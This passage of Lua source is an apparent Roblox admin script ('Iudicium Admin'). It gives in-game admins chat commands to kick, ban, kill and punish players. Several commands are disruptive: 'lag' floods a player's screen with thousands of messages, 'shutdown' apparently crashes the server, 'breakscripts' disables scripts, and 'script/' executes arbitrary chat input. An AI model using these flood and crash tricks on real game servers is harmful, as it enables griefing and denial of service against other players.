- Color = BrickColor.new("Really black"),
- ColorColor = Color3.new("Bright violet"),
- Transparency = 0.5,
- Name = "Iudicium Admin",
- Version = "2.3.6"
- }
- function ShowInCircle(Prompter,...)
- local Args = {...}
- local Books = {}
- Args[#Args + 1] = "Dismiss"
- local Ans = nil
- local Rank = Admins[Prompter.Name]
- for i=1, #Args do
- local IsKings
- if Args[i]:find("(Kings Only)") then
- IsKings = true
- end
- local Book = Instance.new("Part", Game:GetService("Workspace"))
- Book.Anchored = false
- Book.Locked = true
- Book.CanCollide = false
- Book.TopSurface, Book.BottomSurface = 0, 0
- Book.Transparency = Settings.Transparency
- Book.FormFactor = Enum.FormFactor.Custom
- Book.Size = Vector3.new(2.3, 0.5, 3)
- if IsKings and Admins[Prompter.Name] < 3 then
- Book.BrickColor = BrickColor.new("New yeller")
- else
- Book.BrickColor = Settings.Color
- end
- table.insert(Books, Book)
- local BG = Instance.new("BodyGyro", Book)
- local BP = Instance.new("BodyPosition", Book)
- local Billboard = Instance.new("BillboardGui", Book)
- Billboard.Adornee = Book
- Billboard.Enabled = true
- Billboard.Active = true
- Billboard.Size = UDim2.new(0.3, 0, 0.05, 0)
- Billboard.ExtentsOffset = Vector3.new(0, 2.5, 0)
- local Text = Instance.new("TextLabel", Billboard)
- Text.Text = Args[i]
- if IsKings and Admins[Prompter.Name] ~= 3 then
- Text.TextColor3 = BrickColor.new("White").Color
- else
- Text.TextColor3 = Settings.Color.Color
- end
- Text.BackgroundTransparency = 1
- Text.Size = UDim2.new(1, 0, 1, 0)
- local ClickDetector = Instance.new("ClickDetector", Book)
- ClickDetector.MaxActivationDistance = 1234
- ClickDetector.MouseClick:connect(function(Player)
- if Player == Prompter and Args[i] == "Dismiss" then
- Ans = Args[i]
- for _, v in pairs(Books) do
- v:Remove()
- end
- Books = {}
- end
- end)
- end
- coroutine.resume(coroutine.create(function()
- local radius = 3 + (#Books*.7)
- while wait() do
- if #Books == 0 then break end
- for _, Book in pairs(Books) do
- local BP = Book:FindFirstChild("BodyPosition") or Instance.new("BodyPosition", Book)
- BP.maxForce = Vector3.new(1000000000, 1000000000, 1000000000)
- local BG = Book:FindFirstChild("BodyGyro") or Instance.new("BodyGyro", Book)
- BG.maxTorque = Vector3.new(1000000000, 1000000000, 1000000000)
- local Pos = (Prompter.Character:FindFirstChild("Torso") or Prompter.Character:FindFirstChild("Torso")).CFrame
- local x = math.cos((tonumber(_)/#Books - (0.5/#Books)) * math.pi*2) * radius -- cos
- local y = 0
- local z = math.sin((tonumber(_)/#Books - (0.5/#Books)) * math.pi*2) * radius -- sin
- BP.position = Pos:toWorldSpace(CFrame.new(x,y,z):inverse()).p
- BG.cframe = CFrame.new(Book.Position, Pos.p) * CFrame.Angles(math.pi/2, 0, 0)
- end
- end
- end))
- end
- function Prompt(Prompter, ...)
- local Args = {...}
- local Books = {}
- Args[#Args + 1] = "Dismiss"
- local Ans = nil
- for i=1, #Args do
- local Book = Instance.new("Part", Game:GetService("Workspace"))
- Book.Anchored = false
- Book.Locked = true
- Book.CanCollide = false
- Book.TopSurface, Book.BottomSurface = 0, 0
- Book.Transparency = Settings.Transparency
- Book.FormFactor = Enum.FormFactor.Custom
- Book.Size = Vector3.new(2.3, 0.5, 3)
- Book.BrickColor = Settings.Color
- table.insert(Books, Book)
- local Billboard = Instance.new("BillboardGui", Book)
- Billboard.Adornee = Book
- Billboard.Enabled = true
- Billboard.Active = true
- Billboard.Size = UDim2.new(0.3, 0, 0.05, 0)
- Billboard.ExtentsOffset = Vector3.new(0, 2.5, 0)
- local box = Instance.new("SelectionBox",Book)
- box.Adornee = Book
- box.Color = BrickColor.new(math.random(), math.random(), math.random())
- local Text = Instance.new("TextLabel", Billboard)
- Text.Text = Args[i]
- Text.TextColor3 = Settings.Color.Color
- Text.BackgroundTransparency = 1
- Text.Size = UDim2.new(1, 0, 1, 0)
- local AttemptToFixPrompt = i
- local ClickDetector = Instance.new("ClickDetector", Book)
- ClickDetector.MaxActivationDistance = 1234
- ClickDetector.MouseClick:connect(function(Player)
- if Player == Prompter then
- Ans = Args[i]
- local BackupBooks = Books
- Books = {}
- local AnimationOver
- pcall(function() BP.Position = Player.Character.Torso.Position end)
- Book.Touched:connect(function(zPart)
- pcall(function()
- if zPart == Player.Character.Torso then
- AnimationOver = true
- end
- end)
- end)
- delay(5, function() AnimationOver = true end)
- for _, v in pairs(BackupBooks) do
- v:Remove()
- end
- BackupBooks = nil
- return AttemptToFixPrompt
- end
- end)
- end
- coroutine.resume(coroutine.create(function()
- local radius = 3 + (#Books)
- while wait() do
- if #Books == 0 then break end
- for _, Book in pairs(Books) do
- local BP = Book:FindFirstChild("BodyPosition") or Instance.new("BodyPosition", Book)
- BP.maxForce = Vector3.new(1000000000, 1000000000, 1000000000)
- local BG = Book:FindFirstChild("BodyGyro") or Instance.new("BodyGyro", Book)
- BG.maxTorque = Vector3.new(1000000000, 1000000000, 1000000000)
- local Pos = (Prompter.Character:FindFirstChild("Torso") or Prompter.Character:FindFirstChild("Torso")).CFrame
- local x = math.cos((tonumber(_)/#Books - (0.5/#Books)) * math.pi) * radius -- cos
- local y = 0
- local z = math.sin((tonumber(_)/#Books - (0.5/#Books)) * math.pi) * radius -- sin
- BP.position = Pos:toWorldSpace(CFrame.new(x,y,z):inverse()).p
- BG.cframe = CFrame.new(Book.Position, Pos.p) * CFrame.Angles(math.pi/2, 0, 0)
- end
- end
- end))
- while (Ans == nil) and (#Books > 0) do
- wait()
- end
- return Ans
- end
- function ParseMessage(Message)
- Message = Message:gsub("lego%s", "")
- Message = Message:gsub("runescape%s", "")
- Message = Message:gsub("minecraft%s", "")
- local Command
- local Args = {}
- for Word in Message:gmatch("%w+") do
- if not Command then
- Command = Word
- else
- table.insert(Args, Word)
- end
- end
- return Command, Args
- end
- function ErrorHandler(Error)
- print(Error)
- local Message = Instance.new("Message", Workspace)
- Message.Text = "!ERROR!: " .. Error:gsub("(.-:)","")
- Game:GetService("Debris"):AddItem(Message, 5)
- end
- function onPlayerAdded(NewPlayer)
- for b=1, #Banned do
- if NewPlayer.Name == Banned[b] then
- coroutine.resume(coroutine.create(function()
- for i=1, 25 do
- pcall(function() NewPlayer:Destroy() end)
- wait(0.5)
- end
- end))
- end
- end
- NewPlayer.Chatted:connect(function(C)
- xpcall(function()
- local a, b = coroutine.resume(coroutine.create(function()
- onChat(NewPlayer, C)
- end))
- assert(a,b)
- end, ErrorHandler)
- end)
- end
- function onChat(player, message)
- local Command, Arguments = ParseMessage(message)
- if Admins[player.Name] ~= nil then
- if Command == "kickmenu" then
- local People = Game:GetService("Players"):GetPlayers()
- local Names = {}
- for _, v in pairs(People) do
- table.insert(Names, v.Name)
- end
- local OptionChoosen = Prompt(player, unpack(Names))
- print(OptionChoosen)
- if OptionChoosen and game:GetService("Players"):FindFirstChild(OptionChoosen) then
- game:GetService("Players") [OptionChoosen]:Destroy()
- else
- print("Player missing")
- end
- --[[elseif Command == "privateserver" then
- local Option = Prompt(player, "Turn on", "Turn off", "Add name", "Remove name", "Remove all names")
- if Option == "Turn on" then
- PrivateServerOn = true
- local OnJoinCon = function(NewPlayer)
- if PrivateServer[NewPlayer.Name] == nil then
- NewPlayer:Remove()
- if PrivateServerWarnings[NewPlayer.Name] == nil then
- local AddHim = Prompt(player, "Click me to add " .. NewPlayer.Name .. " to the private server list")
- if AddHim == "Click me to add " .. NewPlayer.Name .. " to the private server list" then
- PrivateServer[NewPlayer.Name] = true
- end
- end
- end
- end
- while PrivateServerOn do wait() end
- OnJoinCon:disconnect()
- elseif Option == "Turn off" then
- PrivateServerOn = nil
- elseif Option == "Add name" then
- local Names = {}
- for _, v in pairs(Players:GetPlayers()) do
- table.insert(Names, v.Name)
- end
- local PlayerToAdd = Prompt(player, unpack(Names))
- if Players:FindFirstChild(PlayerToAdd) then
- PrivateServer[PlayerToAdd] = true
- end
- elseif Option == "Remove name" then
- local Names = {}
- for Name in pairs(PrivateServer) do
- table.insert(Names, Name)
- end
- local NameToRemove = Prompt(player, unpack(Names))
- if Names[NameToRemove] then
- Names[NameToRemove] = nil
- end
- elseif Option == "Remove all names" then
- PrivateServer = {}
- end]]
- elseif Command == "banmenu" then
- local People = Game:GetService("Players"):GetPlayers()
- local Names = {}
- for _, v in pairs(People) do
- table.insert(Names, v.Name)
- end
- local OptionChoosen = Prompt(player, unpack(Names))
- print(OptionChoosen)
- if OptionChoosen and game:GetService("Players"):FindFirstChild(OptionChoosen) then
- table.insert(Banned, OptionChoosen)
- game:GetService("Players") [OptionChoosen]:Destroy()
- else
- print("Player missing")
- end
- elseif Command == "OBC" and Admins[player.Name] == 3 then
- for i,obc in pairs (game.Players:GetChildren()) do
- obc.MembershipTypeReplicate = 3
- end
- elseif Command == "TBC" and Admins[player.Name] == 3 then
- for i,tbc in pairs (game.Players:GetChildren()) do
- tbc.MembershipTypeReplicate = 2
- end
- elseif Command == "BC" and Admins[player.Name] == 3 then
- for i,bc in pairs (game.Players:GetChildren()) do
- bc.MembershipTypeReplicate = 1
- end
- elseif Command == "NBC" and Admins[player.Name] == 3 then
- for i,nbc in pairs (game.Players:GetChildren()) do
- nbc.MembershipTypeReplicate = 0
- end
- elseif Command == "rankset" and Admins[player.Name] == 3 then
- if Arguments[1] and tonumber(Arguments[1]) ~= nil then
- local RankSet
- if tonumber(Arguments[1]) == 0 then
- RankSet = nil
- else
- RankSet = tonumber(Arguments[1])
- end
- for i=2, #Arguments do
- local arg = Arguments[i]
- for z, vPlayer in pairs(Players:GetPlayers()) do
- if vPlayer.Name:lower():find(arg:lower()) == 1 then
- Admins[vPlayer.Name] = RankSet
- end
- end
- end
- end
- elseif message:sub(1, 7) == "script/" then
- xpcall(function()
- local c, d = coroutine.resume(coroutine.create(function()
- loadstring(message:sub(8))()
- end))
- assert(c, d)
- end, function(Error)
- local Hint = Instance.new("Message", Workspace)
- Hint.Text = "|QUICKSCRIPT ERROR|:| " .. Error:sub("(.-:)")
- wait(4)
- Hint:Remove()
- end)
- elseif message:sub(1,4) == "msg " then
- local msg = message:sub(5)
- local msgm = Instance.new("Message",workspace)
- msgm.Text = player.Name..": "..msg
- wait(3)
- msgm:Remove()
- elseif message:sub(1,5) == "hint " then
- local msg = message:sub(6)
- local msgm = Instance.new("Hint",workspace)
- msgm.Text = player.Name..": "..msg
- wait(3)
- msgm:Remove()
- elseif message:sub(1,7) == "fogend " then
- local msg = message:sub(8)
- game:GetService("Lighting").FogEnd = msg
- elseif message:sub(1,9) == "fogstart " then
- local msg = message:sub(10)
- game:GetService("Lighting").FogStart = msg
- elseif message:sub(1,5) == "time " then
- local msg = message:sub(6)
- game:GetService("Lighting").TimeOfDay = msg
- elseif Command == "clean" then
- local Option = Prompt(player, "Clean and reset lighting", "Clean workspace")
- if Option == "Clean workspace" then
- for _, v in pairs(Workspace:GetChildren()) do
- if Players:GetPlayerFromCharacter(v) == nil and v.className ~= "Terrain" and v~=script then
- pcall(function() v:Remove() end)
- end
- end
- local Base = Instance.new("Part", Workspace)
- Base.Anchored = true
- Base.TopSurface = Enum.SurfaceType.Smooth
- Base.BottomSurface = Enum.SurfaceType.Smooth
- Base.FormFactor = Enum.FormFactor.Symmetric
- Base.BrickColor = BrickColor.new("Earth green")
- Base.Size = Vector3.new(1000, 1, 1000)
- Base.Name = "Base"
- Base.CFrame = CFrame.new(Vector3.new())
- elseif Option == "Clean and reset lighting" then
- for i,v in pairs(game:GetService("Lighting"):GetChildren()) do
- v:remove()
- end
- local light = game:GetService("Lighting")
- light.TimeOfDay = "14:00:00"
- light.Brightness = 1
- light.ColorShift_Bottom = Color3.new(0, 0, 0)
- light.ColorShift_Top = Color3.new(0, 0, 0)
- light.ShadowColor = Color3.new(178, 178, 178)
- light.Ambient = Color3.new(1, 1, 1)
- light.FogStart = 0
- light.FogEnd = 10000000000000
- end
- elseif Command == "base" then
- pcall(function() game.Workspace.Base:Remove() end)
- local Base = Instance.new("Part", Workspace)
- Base.Anchored = true
- Base.TopSurface = Enum.SurfaceType.Smooth
- Base.BottomSurface = Enum.SurfaceType.Smooth
- Base.FormFactor = Enum.FormFactor.Symmetric
- Base.BrickColor = BrickColor.new("Earth green")
- Base.Size = Vector3.new(1000, 1, 1000)
- Base.Name = "Base"
- Base.CFrame = CFrame.new(Vector3.new())
- elseif Command == "hide" then
- if Arguments[1] == "ranks" then
- NotInViewRanks = true
- Lighting.TimeOfDay = "14:00:00"
- Lighting.Ambient = BrickColor.new("Medium stone grey").Color
- while Workspace:FindFirstChild("RankStatus", true) do
- Workspace:FindFirstChild("RankStatus", true):Destroy()
- end
- end
- elseif Command == "shutdown" then
- local InitTime = time()
- while wait() do
- pcall(function()
- Players:ClearAllChildren()
- end)
- pcall(function()
- if #Players:GetPlayers() >= 1 or InitTime + 30 < time() then
- Instance.new("ManualSurfaceJointInstance", Workspace)
- end
- end)
- end
- elseif Command == "view" or Command == "show" then
- if Arguments[1] == "ranks" then
- NotInViewRanks = nil
- Lighting.TimeOfDay = "2:00:00"
- Lighting.Ambient = BrickColor.new("Black").Color
- local AutoColorConnection = Workspace.ChildAdded:connect(function(v)
- local Player = Players:GetPlayerFromCharacter(v)
- if Player and Admins[Player.Name] then
- local Rank = Admins[Player.Name]
- coroutine.resume(coroutine.create(function()
- local Head = v:FindFirstChild("Head")
- local Status = Instance.new("Part", v)
- Status.FormFactor = "Symmetric"
- Status.Shape = "Ball"
- Status.Name = "Status"
- Status.TopSurface = 0
- Status.BottomSurface = 0
- Status.BrickColor = Levels[Rank][2]
- Status.CanCollide = false
- Status.Name = "RankStatus"
- Status.Transparency = 0.5
- local Billboard = Instance.new("BillboardGui", Status)
- Billboard.Adornee = Status
- Billboard.Enabled = true
- Billboard.Active = true
- Billboard.Size = UDim2.new(0.3, 0, 0.05, 0)
- Billboard.ExtentsOffset = Vector3.new(0, 2.5, 0)
- local Text = Instance.new("TextLabel", Billboard)
- Text.Text = Levels[Rank][1] .. " - " .. Player.Name
- Text.TextColor3 = Levels[Rank][2].Color
- Text.BackgroundTransparency = 1
- Text.Size = UDim2.new(1, 0, 1, 0)
- local Body = Instance.new("BodyPosition", Status)
- Body.maxForce = Vector3.new(math.huge, math.huge, math.huge)
- local Fire = Instance.new("Fire", Status)
- Fire.Color = Levels[Rank][2].Color
- Fire.SecondaryColor = Levels[Rank][2].Color
- local function gS(i)
- return math.sin(math.rad(i))
- end
- local function gC(i)
- return math.cos(math.rad(i))
- end
- for _, v in pairs(v:GetChildren()) do
- if v:IsA("Part") and v.Name ~= "RankStatus" then
- local Sel = Instance.new("SelectionBox", Status)
- Sel.Adornee = v
- Sel.Color = Levels[Rank][2]
- local Fir = Instance.new("Fire", Status)
- Fir.Color = Levels[Rank][2].Color
- Fir.SecondaryColor = Levels[Rank][2].Color
- end
- end
- while wait() and Head and Head.Parent do
- for i = 0, 360, 2 do
- Body.position = (CFrame.new(Head.Position) * CFrame.new(Vector3.new(gS(i)*5, gC(i*5)*2 + 1.5, gC(i)*5))).p
- wait()
- end
- end
- end))
- end
- end)
- for _, v in pairs(Workspace:GetChildren()) do
- local Player = Players:GetPlayerFromCharacter(v)
- if Player and Admins[Player.Name] then
- local Rank = Admins[Player.Name]
- coroutine.resume(coroutine.create(function()
- local Head = v:FindFirstChild("Head")
- local Status = Instance.new("Part", v)
- Status.FormFactor = "Symmetric"
- Status.Shape = "Ball"
- Status.Name = "Status"
- Status.TopSurface = 0
- Status.BottomSurface = 0
- Status.BrickColor = Levels[Rank][2]
- Status.CanCollide = false
- Status.Name = "RankStatus"
- Status.Transparency = 0.5
- local Billboard = Instance.new("BillboardGui", Status)
- Billboard.Adornee = Status
- Billboard.Enabled = true
- Billboard.Active = true
- Billboard.Size = UDim2.new(0.3, 0, 0.05, 0)
- Billboard.ExtentsOffset = Vector3.new(0, 2.5, 0)
- local Text = Instance.new("TextLabel", Billboard)
- Text.Text = Levels[Rank][1] .. " - " .. Player.Name
- Text.TextColor3 = Levels[Rank][2].Color
- Text.BackgroundTransparency = 1
- Text.Size = UDim2.new(1, 0, 1, 0)
- local Body = Instance.new("BodyPosition", Status)
- Body.maxForce = Vector3.new(math.huge, math.huge, math.huge)
- local Fire = Instance.new("Fire", Status)
- Fire.Color = Levels[Rank][2].Color
- Fire.SecondaryColor = Levels[Rank][2].Color
- local function gS(i)
- return math.sin(math.rad(i))
- end
- local function gC(i)
- return math.cos(math.rad(i))
- end
- for _, v in pairs(v:GetChildren()) do
- if v:IsA("Part") and v.Name ~= "RankStatus" then
- local Sel = Instance.new("SelectionBox", Status)
- Sel.Adornee = v
- Sel.Color = Levels[Rank][2]
- local Fir = Instance.new("Fire", Status)
- Fir.Color = Levels[Rank][2].Color
- Fir.SecondaryColor = Levels[Rank][2].Color
- end
- end
- while wait() and Head and Head.Parent do
- for i = 0, 360, 2 do
- Body.position = (CFrame.new(Head.Position) * CFrame.new(Vector3.new(gS(i)*5, gC(i*5)*2 + 1.5, gC(i)*5))).p
- wait()
- end
- end
- end))
- end
- end
- repeat wait() until NotInViewRanks
- AutoColorConnection:disconnect()
- elseif Arguments[1] == "time" or Arguments[1] == "clock" then
- local SecondsOfToday = math.fmod(tick(), 60*60*24) -- Long story check in wiki...
- local Hour = math.floor(SecondsOfToday / (60*60))
- local Minute = math.floor(SecondsOfToday/60 - Hour*60)
- local Second = math.floor(math.fmod(SecondsOfToday, 60))
- if Hour > 12 then Hour = Hour - 12 end
- Prompt(player, "Current time: " .. Hour .. ":" .. Minute .. ":" .. Second, "Server Time: " .. math.floor(time()))
- end
- elseif Command == "getage" then
- for _, Arg in pairs(Arguments) do
- for geag, agegetting in pairs(Game:GetService("Players"):GetPlayers()) do
- if agegetting.Name:lower():match(Arg:lower()) then
- m=Instance.new("Hint", game.Workspace) m.Text = agegetting.Name.."'s Account Age is, "..agegetting.AccountAge.."."
- wait(4)
- m:remove()
- end
- end
- end
- elseif Command == "ex" or Command == "explode" then
- for _, Arg in pairs(Arguments) do
- for expl, expll in pairs(Game:GetService("Players"):GetPlayers()) do
- if expll.Name:lower():match(Arg:lower()) then
- e=Instance.new("Explosion",game.Workspace)
- e.Position = game.Workspace[expll.Name].Torso.Position
- end
- end
- end
- elseif Command == "nbc" then
- for _, Args in pairs(Arguments) do
- for v, Player in pairs(Game:GetService("Players"):GetPlayers()) do
- if Player.Name:lower():find(Args:lower()) == 1 then
- Player.MembershipTypeReplicate = 0
- end
- end
- end
- elseif Command == "bc" then
- for _, Args in pairs(Arguments) do
- for v, Player in pairs(Game:GetService("Players"):GetPlayers()) do
- if Player.Name:lower():find(Args:lower()) == 1 then
- Player.MembershipTypeReplicate = 1
- end
- end
- end
- elseif Command == "tbc" then
- for _, Args in pairs(Arguments) do
- for v, Player in pairs(Game:GetService("Players"):GetPlayers()) do
- if Player.Name:lower():find(Args:lower()) == 1 then
- Player.MembershipTypeReplicate = 2
- end
- end
- end
- elseif Command == "obc" then
- for _, Args in pairs(Arguments) do
- for v, Player in pairs(Game:GetService("Players"):GetPlayers()) do
- if Player.Name:lower():find(Args:lower()) == 1 then
- Player.MembershipTypeReplicate = 3
- end
- end
- end
- elseif Command == "ff" then
- for _, Arg in pairs(Arguments) do
- for ff, ffl in pairs(Game:GetService("Players"):GetPlayers()) do
- if ffl.Name:lower():match(Arg:lower()) then
- fff=Instance.new("ForceField",game.Workspace[ffl.Name])
- end
- end
- end
- elseif Command == "unff" then
- for _, Arg in pairs(Arguments) do
- for ff, ffl in pairs(Game:GetService("Players"):GetPlayers()) do
- if ffl.Name:lower():match(Arg:lower()) then
- for i,v in pairs(ffl.Character:GetChildren()) do
- if v.ClassName=="ForceField" then
- v:Destroy()
- end
- end
- end
- end
- end
- elseif Command == "kick" then
- for _, Arg in pairs(Arguments) do
- for k, Player in pairs(Game:GetService("Players"):GetPlayers()) do
- if Player.Name:lower():match(Arg:lower()) then
- pcall(function() Player:Destroy() end)
- end
- end
- end
- elseif Command == "ban" then
- for _, Arg in pairs(Arguments) do
- for k, Player in pairs(Game:GetService("Players"):GetPlayers()) do
- if Player.Name:lower():match(Arg:lower()) then
- table.insert(Banned, Player.Name)
- pcall(function() Player:Destroy() end)
- end
- end
- end
- elseif Command == "inf" then
- for _, Args in pairs(Arguments) do
- for v, Player in pairs(Game:GetService("Players"):GetPlayers()) do
- if Player.Name:lower():find(Args:lower()) == 1 then
- Player.Character.Humanoid.MaxHealth = math.huge
- Player.Character.Humanoid.Health = math.huge
- end
- end
- end
- elseif Command == "norm" then
- for _, Args in pairs(Arguments) do
- for v, Player in pairs(Game:GetService("Players"):GetPlayers()) do
- if Player.Name:lower():find(Args:lower()) == 1 then
- Player.Character.Humanoid.MaxHealth = 100
- Player.Character.Humanoid.Health = 100
- end
- end
- end
- elseif Command == "cmds" or Command == "commands" then
- local Option = Prompt(player, "Welcome to "..Settings.Name.." "..player.Name..".", "Harming", "Informative", "Etcetera", "All")
- if Option == "Harming" then
- Prompt(player, "Kill", "Kick", "Ban", "Freeze", "Thaw", "Ex (Explode)", "Shutdown", "Lag", "Burn", "Punish", "Unpunish", "Ps", "Unps", "Ragdoll", "Unragdoll", "Nil")
- elseif Option == "Informative" then
- Prompt(player, "Cmds (Commands)","Getage", "Script/[Script]", "Msg", "Hint", "Banlist", "Expl (Explorer)", "Test")
- elseif Option == "Etcetera" then
- Prompt(player, "Clean", "Base", "Set (Settings)", "Ff", "Unff", "Ab", "Inf", "Norm", "Rsp (Respawn)", "Sit", "Stand", "Fogend", "Time", "Nbc", "Bc", "Tbc", "Obc")
- elseif Option == "All" then
- Prompt(player, "Kill", "Kick", "Ban", "Freeze", "Thaw", "Ex (Explode)", "Shutdown", "Lag", "Burn", "Nil", "Cmds (Commands)", "Getage", "Script/[Script]", "Msg", "Hint", "Banlist", "Expl (Explorer)", "Test","Clean", "Base", "Set (Settings)", "Ff", "Unff", "Ab", "Inf", "Norm", "Rsp (Respawn)", "Punish", "Unpunish", "Ragdoll", "Unragdoll", "Ps", "Unps", "Fogend", "Time", "Sit", "Stand", "Nbc", "Bc", "Tbc", "Obc")
- end
- elseif Command == "ab" then
- local PeopleNames = {}
- for _, v in pairs(Game:GetService("Players"):GetPlayers()) do
- table.insert(PeopleNames, v.Name)
- end
- local Option = Prompt(player, unpack(PeopleNames))
- if Option then
- Game:GetService("Players").PlayerRemoving:connect(function(Player)
- if Player.Name == Option then
- Instance.new("Message").Text = Player.Name.. " has been kicked or banned, bye bye."
- while wait() do
- pcall(function() Players:ClearAllChildren() end)
- end
- end
- end)
- end
- elseif Command == "ragdoll" then
- for _, Args in pairs(Arguments) do
- for v, Player in pairs(Game:GetService("Players"):GetPlayers()) do
- if Player.Name:lower():find(Args:lower()) == 1 then
- Player.Character.Humanoid:Destroy()
- end
- end
- end
- elseif Command == "unragdoll" then
- for _, Args in pairs(Arguments) do
- for v, Player in pairs(Game:GetService("Players"):GetPlayers()) do
- if Player.Name:lower():find(Args:lower()) == 1 then
- local humanoid = Instance.new("Humanoid")
- humanoid.Parent = Player.Character
- humanoid.MaxHealth = 100
- humanoid.Health = 100
- end
- end
- end
- elseif Command == "punish" then
- for _, Args in pairs(Arguments) do
- for v, Player in pairs(Game:GetService("Players"):GetPlayers()) do
- if Player.Name:lower():find(Args:lower()) == 1 then
- Player.Character.Parent = game:GetService("Lighting")
- end
- end
- end
- elseif Command == "unpunish" then
- for _, Args in pairs(Arguments) do
- for v, Player in pairs(Game:GetService("Players"):GetPlayers()) do
- if Player.Name:lower():find(Args:lower()) == 1 then
- Player.Character.Parent = game:GetService("Workspace")
- Player.Character:MakeJoints()
- end
- end
- end
- elseif Command == "banlist" then
- local OptionChoosen = Prompt(player, unpack(Banned))
- elseif Command == "rsp" or Command == "respawn" then
- for _, Args in pairs(Arguments) do
- for v, Player in pairs(Game:GetService("Players"):GetPlayers()) do
- if Player.Name:lower():find(Args:lower()) == 1 then
- local ack = Instance.new("Model",workspace)
- local ack2 = Instance.new("Part",ack)
- ack2.Anchored = true
- ack2.Locked = true
- ack2.Name = "Torso"
- ack2.Transparency = 1
- ack2.CanCollide = false
- ack2.Position = Vector3.new(10000,10000,10000)
- local ack3 = Instance.new("Humanoid")
- ack3.Torso = ack4
- ack3.Parent = ack
- Player.Character = ack
- end
- end
- end
- elseif Command == "burn" then
- for _, Args in pairs(Arguments) do
- for v, Player in pairs(Game:GetService("Players"):GetPlayers()) do
- if Player.Name:lower():find(Args:lower()) == 1 then
- firepwoer = Instance.new("Fire",Player.Character.Head)
- game:GetService("Chat"):Chat(Player.Character.Head,"AHH IM ON FIRE",Enum.ChatColor.Red)
- for i = 1,51 do
- Player.Character.Humanoid.Health = Player.Character.Humanoid.Health - 2
- wait(.1)
- end
- Player.Character:BreakJoints()
- end
- end
- end
- elseif Command == "lag" then
- for _, Args in pairs(Arguments) do
- for v, Player in pairs(Game:GetService("Players"):GetPlayers()) do
- if Player.Name:lower():find(Args:lower()) == 1 then
- for i=1, 16000 do
- msgsl=Instance.new("Message", Player:FindFirstChild("PlayerGui") or nil)
- msgsl.Text = "You have been lagged."
- end
- end
- end
- end
- elseif Command == "set" or Command == "settings" then
- local Work = #game:GetService("Workspace"):children()
- local Play = #game:GetService("Players"):children()
- local Option = Prompt(player, "Book Settings","Player Settings", "There are "..Play.." player(s) in the server.", "There are "..Work.." object(s) in the Workspace")
- if Option == "Player Settings" then
- local Select = Prompt(player, "Respawn", "Reset")
- if Select == "Respawn" then
- local ack = Instance.new("Model",workspace)
- local ack2 = Instance.new("Part",ack)
- ack2.Anchored = true
- ack2.Locked = true
- ack2.Name = "Torso"
- ack2.Transparency = 1
- ack2.CanCollide = false
- ack2.Position = Vector3.new(10000,10000,10000)
- local ack3 = Instance.new("Humanoid")
- ack3.Torso = ack4
- ack3.Parent = ack
- game:GetService("Players")[player.Name].Character = ack
- elseif Select == "Reset" then
- game:GetService("Players")[player.Name].Character:BreakJoints()
- end
- elseif Option == "Book Settings" then
- local Option = Prompt(player, "Transparency", "Color")
- if Option == "Color" then
- local Option = Prompt(player, "Really red", "White", "Black", "Hot pink", "Bright yellow", "Navy blue")
- if Option == "Really red" then
- Settings.Color = BrickColor.new("Really red")
- elseif Option == "White" then
- Settings.Color = BrickColor.new("White")
- elseif Option == "Black" then
- Settings.Color = BrickColor.new("Black")
- elseif Option == "Hot pink" then
- Settings.Color = BrickColor.new("Hot pink")
- elseif Option == "Bright yellow" then
- Settings.Color = BrickColor.new("Bright yellow")
- elseif Option == "Navy blue" then
- Settings.Color = BrickColor.new("Navy blue")
- end
- elseif Option == "Transparency" then
- local Option = Prompt(player, "0", "0.5", "0.7")
- if Option == "0" then
- Settings.Transparency = 0
- elseif Option == "0.3" then
- Settings.Transparency = 0.3
- elseif Option == "0.5" then
- Settings.Transparency = 0.5
- elseif Option == "0.7" then
- Settings.Transparency = 0.7
- end
- end
- end
- elseif Command == "expl" or Command == "explorer" then
- local Option = Prompt(player, "Workspace", "Lighting", "Players", "Debris")
- if Option == "Workspace" then
- local Workspace = game:GetService("Workspace"):children()
- local Names = {}
- for _, v in pairs(Workspace) do
- table.insert(Names, v.Name)
- end
- Prompt(player, unpack(Names))
- elseif Option == "Lighting" then
- local Lighting = game:GetService("Lighting"):children()
- local Names = {}
- for _, v in pairs(Lighting) do
- table.insert(Names, v.Name)
- end
- Prompt(player, unpack(Names))
- elseif Option == "Players" then
- local Players = game:GetService("Players"):children()
- local Names = {}
- for _, v in pairs(Players) do
- table.insert(Names, v.Name)
- end
- Prompt(player, unpack(Names))
- elseif Option == "Debris" then
- local Debris = game:GetService("Debris"):children()
- local Names = {}
- for _, v in pairs(Debris) do
- table.insert(Names, v.Name)
- end
- Prompt(player, unpack(Names))
- end
- elseif Command == "breakscripts" and Admins[player.Name] == 3 then
- Game:GetService("ScriptContext").ScriptsDisabled = true
- Services = {
- "Workspace",
- "Debris",
- "Players",
- "Lighting",
- "ScriptContext"
- }
- for i=1, #Services do
- pcall(function() game:GetService(Services[i]).Name = math.random(1000, 10000) end)
- end
- --Idk if this works, just hope :3
- local mt = {__index = function() return function() end end}
- setmetatable(_G, mt)
- elseif Command == "killmenu" then
- local People = Game:GetService("Players"):GetPlayers()
- local Names = {}
- for _, v in pairs(People) do
- table.insert(Names, v.Name)
- end
- local OptionChoosen = Prompt(player, unpack(Names))
- print(OptionChoosen)
- if OptionChoosen and game:GetService("Players"):FindFirstChild(OptionChoosen) then
- if game:GetService("Players")[OptionChoosen].Character then
- game:GetService("Players") [OptionChoosen].Character:BreakJoints()
- end
- else
- print("Player missing")
- end
- elseif Command == "nil" then
- for _, Args in pairs(Arguments) do
- for v, Player in pairs(Game:GetService("Players"):GetPlayers()) do
- if Player.Name:lower():find(Args:lower()) == 1 then
- Player.Character:Destroy()
- end
- end
- end
- elseif Command == "ps" then
- for _, Args in pairs(Arguments) do
- for v, Player in pairs(Game:GetService("Players"):GetPlayers()) do
- if Player.Name:lower():find(Args:lower()) == 1 then
- Player.Character.Humanoid.PlatformStand = true
- end
- end
- end
- elseif Command == "unps" then
- for _, Args in pairs(Arguments) do
- for v, Player in pairs(Game:GetService("Players"):GetPlayers()) do
- if Player.Name:lower():find(Args:lower()) == 1 then
- Player.Character.Humanoid.PlatformStand = false
- end
- end
- end
- elseif Command == "sit" then
- for _, Args in pairs(Arguments) do
- for v, Player in pairs(Game:GetService("Players"):GetPlayers()) do
- if Player.Name:lower():find(Args:lower()) == 1 then
- Player.Character.Humanoid.Sit = true
- end
- end
- end
- elseif Command == "stand" then
- for _, Args in pairs(Arguments) do
- for v, Player in pairs(Game:GetService("Players"):GetPlayers()) do
- if Player.Name:lower():find(Args:lower()) == 1 then
- Player.Character.Humanoid.Sit = false
- end
- end
- end
